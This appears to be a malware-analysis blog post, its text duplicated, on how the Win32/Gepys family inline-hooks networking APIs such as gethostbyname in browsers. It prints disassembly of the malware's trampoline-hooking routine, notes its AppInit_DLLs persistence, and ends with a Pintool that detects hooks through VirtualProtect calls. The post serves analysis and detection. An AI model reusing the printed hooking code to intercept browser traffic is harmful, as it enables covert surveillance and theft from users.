I wanted to write an article which discusses in depth the method used for hooking the entry point of an API. This method is often used in malwares to alter the behavior of some APIs. Usually the Networking APIs imported from ws2_32.dll, wininet.dll are hooked in this way.
As an example I have taken the Win32/Gepys virus family. The code examples are in assembly. This will help in understanding clearly the method used for hooking.
In order to hook the entry point of the API we need the following:
1. API Address. This can be retrieved by calling GetProcAddress() on the API.
2. Buffer: This buffer will be used to store the first few opcodes of the API along with the jump trampoline. You can get this buffer by calling VirtualAlloc().
3. Malicious Subroutine: This is the subroutine which we want to execute before executing the main API. It will be invoked each time the main API is called from the program.
Now, let's call the API hooking routine:
We need to call VirtualProtect() on both the API and the buffer to mark these regions of memory as PAGE_EXECUTE_READWRITE. We will be executing the code from the buffer as well.
VirtualProtect(buffer, 0x10, 0x40, &oldProtect);
VirtualProtect(api, 0x10, 0x40, &oldProtect);
Now comes the main code for hooking the API. I have explained it with comments:
Once we are done with it, we again mark these regions of memory as: PAGE_EXECUTE_READ.
VirtualProtect(api, 0x10, 0x20, &oldProtect)
VirtualProtect(buffer, 0x10, 0x20, &newProtect)
So, the buffer format is:
[first 5 bytes of the API][E9 - opcode for jump][function pointer - buffer - 0x5]
and the first 5 bytes of the API are calculated as:
E9 - jump opcode
Address = malicious subroutine address - function pointer - 0x5
As an example, if we are hooking the API, ws2_32.gethostbyname with the following details:
buffer = 00D90010
api = 71AB5355 (gethostbyname)
malicious subroutine: 00C8159B
This is how the first 3 instructions of the API look before hooking:
71AB5355 > 8BFF MOV EDI,EDI
71AB5357 55 PUSH EBP
71AB5358 8BEC MOV EBP,ESP
Using the above format of the buffer, we know the buffer should look like this for hooking:
buffer = 8b ff 55 8b ec e9 45 53 d2 70
The opcodes in the above buffer correspond to:
00D90010 8BFF MOV EDI,EDI
00D90012 55 PUSH EBP
00D90013 8BEC MOV EBP,ESP
00D90015 -E9 4053D270 JMP WS2_32.71AB535A
This jump instruction will redirect the execution to the 4th instruction of the API, ws2_32.gethostbyname.
Also, the first 5 bytes of the function pointer can be calculated using the above method as:
jump opcode: e9
address: 8F1CC241
API after hooking:
71AB5355 >-E9 41C21C8F JMP 00C8159B ; malicious subroutine
71AB535A 81EC 14020000 SUB ESP,214
malicious subroutine:
00C8159B 6A 00 PUSH 0
00C8159D FF7424 08 PUSH DWORD PTR SS:[ESP+8]
00C815A1 E8 23FDFFFF CALL 00C812C9
00C815A6 59 POP ECX
00C815A7 59 POP ECX
00C815A8 50 PUSH EAX
00C815A9 FF15 0030C900 CALL DWORD PTR DS:[C93000]
00C815AF C2 0400 RETN 4
at address, 0xC93000 we have the address of the buffer.
So, the instruction, call dword ptr ds:[buffer] will redirect the execution to the buffer which has the opcodes for the first 3 instructions of the API and then redirects execution to the 4th instruction of the API.
Now, that we have understood this method of API hooking. Let us see how we can detect it.
In the case of Win32/Gepys virus family, it will add the full path of the malicious DLL to the Registry Entry: AppInit_DLL. This will allow the DLL to be loaded into the address space of any new process on the system (it should be linked with user32.dll).
Also, it performs the API hooking only when it is loaded in the address space of a Browser like firefox.exe, chrome.exe, iexplore.exe, opera.exe and so on.
So, to detect this method of API hooking, we will check the calls to VirtualProtect(). Since in API hooking we are writing our jump trampolines to the API, we will check specifically for calls to VirtualProtect() that mark the regions of memory as: PAGE_EXECUTE_READWRITE.
Also, we are interested in those VirtualProtect() calls which are invoked on the API addresses.
I wrote the following Pintool which can help automate this:
Below screenshot shows it detecting the API hooks in firefox.exe:
As an example I have taken the Win32/Gepys virus family. The code examples are in assembly. This will help in understanding clearly the method used for hooking.
In order to hook the entry point of the API we need the following:
1. API Address. This can be retrieved by calling GetProcAddress() on the API.
2. Buffer: This buffer will be used to store the first few opcodes of the API along with the jump trampoline. You can get this buffer by calling VirtualAlloc().
3. Malicious Subroutine: This is the subroutine which we want to execute before executing the main API. It will be invoked each time the main API is called from the program.
Now, let's call the API hooking routine:
We need to call VirtualProtect() on both the API and the buffer to mark these regions of memory as PAGE_EXECUTE_READWRITE. We will be executing the code from the buffer as well.
VirtualProtect(buffer, 0x10, 0x40, &oldProtect);
VirtualProtect(api, 0x10, 0x40, &oldProtect);
Now comes the main code for hooking the API. I have explained it with comments:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ESI - Function Pointer | |
EDI - Buffer | |
00C816F9 803E E9 CMP BYTE PTR DS:[ESI],0E9 ; check if the first instruction of API is a jump instruction | |
00C816FC 75 09 JNZ SHORT 00C81707 | |
00C816FE 8B46 01 MOV EAX,DWORD PTR DS:[ESI+1] | |
00C81701 8D4430 05 LEA EAX,DWORD PTR DS:[EAX+ESI+5] | |
00C81705 EB 12 JMP SHORT 00C81719 | |
00C81707 8D46 05 LEA EAX,DWORD PTR DS:[ESI+5] ; point eax to the 5th byte of the function | |
00C8170A A5 MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; store 5 bytes from the function into the buffer | |
00C8170B A4 MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] | |
00C8170C 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ; edi = buffer | |
00C8170F 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; esi = function pointer | |
00C81712 C745 F8 05000000 MOV DWORD PTR SS:[EBP-8],5 | |
00C81719 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] | |
00C8171C 2BC2 SUB EAX,EDX | |
00C8171E 2BC7 SUB EAX,EDI | |
00C81720 83E8 05 SUB EAX,5 ; eax = function pointer - buffer - 0x5 | |
00C81723 8D0C3A LEA ECX,DWORD PTR DS:[EDX+EDI] ; buffer = buffer + 0x5 | |
00C81726 8941 01 MOV DWORD PTR DS:[ECX+1],EAX ; write above calculated value of eax in the buffer | |
00C81729 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] ; malicious subroutine | |
00C8172C 2BC6 SUB EAX,ESI | |
00C8172E 83E8 05 SUB EAX,5 ; hooked api = hooked api - function pointer - 0x5 | |
00C81731 C601 E9 MOV BYTE PTR DS:[ECX],0E9 ; write jump opcode to buffer | |
00C81734 8946 01 MOV DWORD PTR DS:[ESI+1],EAX ; write the above calculated hooked api value to the function pointer + 1 | |
00C81737 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] | |
00C8173A 50 PUSH EAX | |
00C8173B FF75 F4 PUSH DWORD PTR SS:[EBP-C] | |
00C8173E C606 E9 MOV BYTE PTR DS:[ESI],0E9 ; write jump opcode to function pointer |
Once we are done with it, we again mark these regions of memory as: PAGE_EXECUTE_READ.
VirtualProtect(api, 0x10, 0x20, &oldProtect)
VirtualProtect(buffer, 0x10, 0x20, &newProtect)
So, the buffer format is:
[first 5 bytes of the API][E9 - opcode for jump][function pointer - buffer - 0x5]
and the first 5 bytes of the API are calculated as:
E9 - jump opcode
Address = malicious subroutine address - function pointer - 0x5
As an example, if we are hooking the API, ws2_32.gethostbyname with the following details:
buffer = 00D90010
api = 71AB5355 (gethostbyname)
malicious subroutine: 00C8159B
This is how the first 3 instructions of the API look before hooking:
71AB5355 > 8BFF MOV EDI,EDI
71AB5357 55 PUSH EBP
71AB5358 8BEC MOV EBP,ESP
Using the above format of the buffer, we know the buffer should look like this for hooking:
buffer = 8b ff 55 8b ec e9 45 53 d2 70
The opcodes in the above buffer correspond to:
00D90010 8BFF MOV EDI,EDI
00D90012 55 PUSH EBP
00D90013 8BEC MOV EBP,ESP
00D90015 -E9 4053D270 JMP WS2_32.71AB535A
This jump instruction will redirect the execution to the 4th instruction of the API, ws2_32.gethostbyname.
Also, the first 5 bytes of the function pointer can be calculated using the above method as:
jump opcode: e9
address: 8F1CC241
API after hooking:
71AB5355 >-E9 41C21C8F JMP 00C8159B ; malicious subroutine
71AB535A 81EC 14020000 SUB ESP,214
malicious subroutine:
00C8159B 6A 00 PUSH 0
00C8159D FF7424 08 PUSH DWORD PTR SS:[ESP+8]
00C815A1 E8 23FDFFFF CALL 00C812C9
00C815A6 59 POP ECX
00C815A7 59 POP ECX
00C815A8 50 PUSH EAX
00C815A9 FF15 0030C900 CALL DWORD PTR DS:[C93000]
00C815AF C2 0400 RETN 4
at address, 0xC93000 we have the address of the buffer.
So, the instruction, call dword ptr ds:[buffer] will redirect the execution to the buffer which has the opcodes for the first 3 instructions of the API and then redirects execution to the 4th instruction of the API.
Now, that we have understood this method of API hooking. Let us see how we can detect it.
In the case of Win32/Gepys virus family, it will add the full path of the malicious DLL to the Registry Entry: AppInit_DLL. This will allow the DLL to be loaded into the address space of any new process on the system (it should be linked with user32.dll).
Also, it performs the API hooking only when it is loaded in the address space of a Browser like firefox.exe, chrome.exe, iexplore.exe, opera.exe and so on.
So, to detect this method of API hooking, we will check the calls to VirtualProtect(). Since in API hooking we are writing our jump trampolines to the API, we will check specifically for calls to VirtualProtect() that mark the regions of memory as: PAGE_EXECUTE_READWRITE.
Also, we are interested in those VirtualProtect() calls which are invoked on the API addresses.
I wrote the following Pintool which can help automate this:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Pintool to detect API hooks in a process | |
c0d3inj3cT | |
*/ | |
#include <stdio.h> | |
#include <iostream> | |
#include "pin.H" | |
int i=0; | |
void VirtualProtectHandler(void *address, int newProtect) | |
{ | |
if(newProtect == 0x40) | |
{ | |
PIN_LockClient(); | |
RTN lrtn = RTN_FindByAddress((ADDRINT) address); | |
if(RTN_Valid(lrtn)) | |
{ | |
i++; | |
string symbolName = RTN_Name(lrtn); | |
symbolName = PIN_UndecorateSymbolName(symbolName, UNDECORATION_COMPLETE); | |
printf("VirtualProtect(%p) ==> %s\n", address, symbolName.c_str()); | |
} | |
PIN_UnlockClient(); | |
} | |
} | |
void Image(IMG img, void *v) | |
{ | |
RTN rtn = RTN_FindByName(img, "VirtualProtect"); | |
if(RTN_Valid(rtn)) | |
{ | |
RTN_Open(rtn); | |
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR) VirtualProtectHandler, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); | |
RTN_Close(rtn); | |
} | |
} | |
void Fini(INT32 code, void *v) | |
{ | |
printf("There are %d functions hooked\n", i); | |
} | |
INT32 Usage() | |
{ | |
printf("There was an error\n"); | |
return -1; | |
} | |
int main(int argc, char *argv[]) | |
{ | |
PIN_InitSymbols(); | |
if( PIN_Init(argc,argv) ) | |
{ | |
return Usage(); | |
} | |
IMG_AddInstrumentFunction(Image, 0); | |
PIN_AddFiniFunction(Fini, 0); | |
PIN_StartProgram(); | |
return 0; | |
} |
Below screenshot shows it detecting the API hooks in firefox.exe: